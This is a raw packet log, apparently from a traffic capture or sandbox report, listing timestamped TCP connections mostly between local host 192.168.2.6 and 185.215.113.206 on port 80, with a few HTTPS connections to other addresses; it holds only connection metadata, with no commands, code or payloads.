Nov 22, 2024 14:43:58.561019897 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.561048985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.561191082 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.562112093 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.562129021 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.562221050 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.563196898 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.563246965 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.563270092 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.563321114 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.564317942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.564369917 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.564373016 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.564587116 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.565475941 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.565510988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.565563917 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.566612959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.566759109 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.566814899 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.567733049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.567779064 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.567831993 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.568880081 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.568911076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.568959951 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.570000887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.570169926 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.570187092 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.570205927 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.571156025 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.571206093 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.571252108 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.571305037 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.572280884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.572345018 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.572398901 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.573414087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.573460102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.573560953 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.573600054 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.574563026 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.574631929 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.574681997 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.575778961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.575830936 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.575881004 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.575928926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.576833010 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.576883078 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.576895952 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.576941013 CET	443	49898	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.576948881 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.576966047 CET	443	49898	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.577025890 CET	49898	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.577045918 CET	443	49898	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.577102900 CET	49898	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.577439070 CET	49898	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.577446938 CET	443	49898	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.577464104 CET	49898	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.577596903 CET	443	49898	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.577625036 CET	443	49898	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.577665091 CET	49898	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.577961922 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.577996016 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.578033924 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.579093933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.579157114 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.579185963 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.579278946 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.580207109 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.580266953 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.580322981 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.580363035 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.581187963 CET	49910	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.581228018 CET	443	49910	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.581310034 CET	49910	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.581321001 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.581418991 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.581449986 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.581470966 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.581521034 CET	49910	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.581532955 CET	443	49910	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.582494020 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.582547903 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.582607985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.582648039 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.583641052 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.583682060 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.583795071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.583842993 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.584757090 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.584820986 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.584935904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.585009098 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.585977077 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.586051941 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.586163998 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.587028980 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.587090969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.587201118 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.587469101 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.588145018 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.588198900 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.588223934 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.588458061 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.589278936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.589340925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.589348078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.589420080 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.590435028 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.590481997 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.590512991 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.590666056 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.591569901 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.591713905 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.591742992 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.591762066 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.592670918 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.592713118 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.592777967 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.592852116 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.593823910 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.593869925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.593924999 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.593974113 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.594988108 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.595115900 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.595170975 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.612778902 CET	49911	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:43:58.612816095 CET	443	49911	20.189.173.7	192.168.2.6
Nov 22, 2024 14:43:58.612881899 CET	49911	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:43:58.613182068 CET	49911	443	192.168.2.6	20.189.173.7
Nov 22, 2024 14:43:58.613193989 CET	443	49911	20.189.173.7	192.168.2.6
Nov 22, 2024 14:43:58.641405106 CET	49912	443	192.168.2.6	20.110.205.119
Nov 22, 2024 14:43:58.641429901 CET	443	49912	20.110.205.119	192.168.2.6
Nov 22, 2024 14:43:58.641495943 CET	49912	443	192.168.2.6	20.110.205.119
Nov 22, 2024 14:43:58.641691923 CET	49912	443	192.168.2.6	20.110.205.119
Nov 22, 2024 14:43:58.641705036 CET	443	49912	20.110.205.119	192.168.2.6
Nov 22, 2024 14:43:58.668687105 CET	49913	443	192.168.2.6	18.164.116.57
Nov 22, 2024 14:43:58.668718100 CET	443	49913	18.164.116.57	192.168.2.6
Nov 22, 2024 14:43:58.668827057 CET	49913	443	192.168.2.6	18.164.116.57
Nov 22, 2024 14:43:58.669024944 CET	49913	443	192.168.2.6	18.164.116.57
Nov 22, 2024 14:43:58.669034004 CET	443	49913	18.164.116.57	192.168.2.6
Nov 22, 2024 14:43:58.674252987 CET	49914	443	192.168.2.6	23.101.168.44
Nov 22, 2024 14:43:58.674283981 CET	443	49914	23.101.168.44	192.168.2.6
Nov 22, 2024 14:43:58.674412966 CET	49914	443	192.168.2.6	23.101.168.44
Nov 22, 2024 14:43:58.674596071 CET	49914	443	192.168.2.6	23.101.168.44
Nov 22, 2024 14:43:58.674613953 CET	443	49914	23.101.168.44	192.168.2.6
Nov 22, 2024 14:43:58.737855911 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.737936974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.737957001 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.737976074 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.738472939 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.738656044 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.738754988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.738811970 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.739744902 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.739869118 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.739928961 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.740868092 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.740935087 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.740995884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.741038084 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.742048025 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.742207050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.742288113 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.743134022 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.743189096 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.743309021 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.743848085 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.744271994 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.744355917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.744535923 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.745404005 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.745486021 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.745510101 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.745551109 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.746542931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.746612072 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.746629953 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.747157097 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.747682095 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.747737885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.747785091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.748814106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.748972893 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.749042988 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.749962091 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.750021935 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.750044107 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.750278950 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.751087904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.751143932 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.751189947 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.751934052 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.752254009 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.752363920 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.752418041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.753330946 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.753441095 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.753530979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.754513025 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.754581928 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.754606009 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.754859924 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.755608082 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.755667925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.755724907 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.756133080 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.756978035 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.757013083 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.757045984 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.757061958 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.757872105 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.757999897 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.758055925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.759073019 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.759188890 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.759257078 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.760178089 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.760191917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.760237932 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.760277033 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.761358976 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.761415005 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.761449099 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.762439966 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.762451887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.762512922 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.763539076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.763641119 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.763700008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.764691114 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.764744043 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.764863014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.765054941 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.765813112 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.765922070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.765975952 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.766963959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.767083883 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.767155886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.768098116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.768157005 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.768176079 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.768409967 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.769273043 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.769385099 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.769445896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.770385981 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.770550966 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.770634890 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.771516085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.771579981 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.771644115 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.771841049 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.772660971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.772726059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.772803068 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.773772001 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.773866892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.773931026 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.774898052 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.774988890 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.775091887 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.776021957 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.776120901 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.776181936 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.777163029 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.777177095 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.777220011 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.777240992 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.778371096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.778460026 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.778536081 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.779424906 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.779527903 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.779611111 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.780531883 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.780611038 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.780643940 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.780862093 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.781691074 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.781750917 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.781781912 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.781827927 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.782862902 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.783097982 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.783179998 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.784106016 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.784121990 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.784198046 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.785093069 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.785202980 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.785275936 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.786266088 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.786279917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.786326885 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.786346912 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.787456989 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.787507057 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.787533045 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.787560940 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.788508892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.788638115 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.788724899 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.789640903 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.789681911 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.789800882 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.790759087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.790879011 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.790955067 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.791927099 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.791940928 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.793040037 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.793098927 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.793148994 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.793754101 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.794188976 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.794275999 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.794941902 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.795305967 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.795368910 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.795377970 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.795442104 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.796458960 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.796585083 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.796591043 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.797790051 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.940361977 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.940380096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.940447092 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.940469980 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.940722942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.940736055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.940777063 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.940928936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.941654921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.941715956 CET	49819	80	192.168.2.6	185.215.113.206
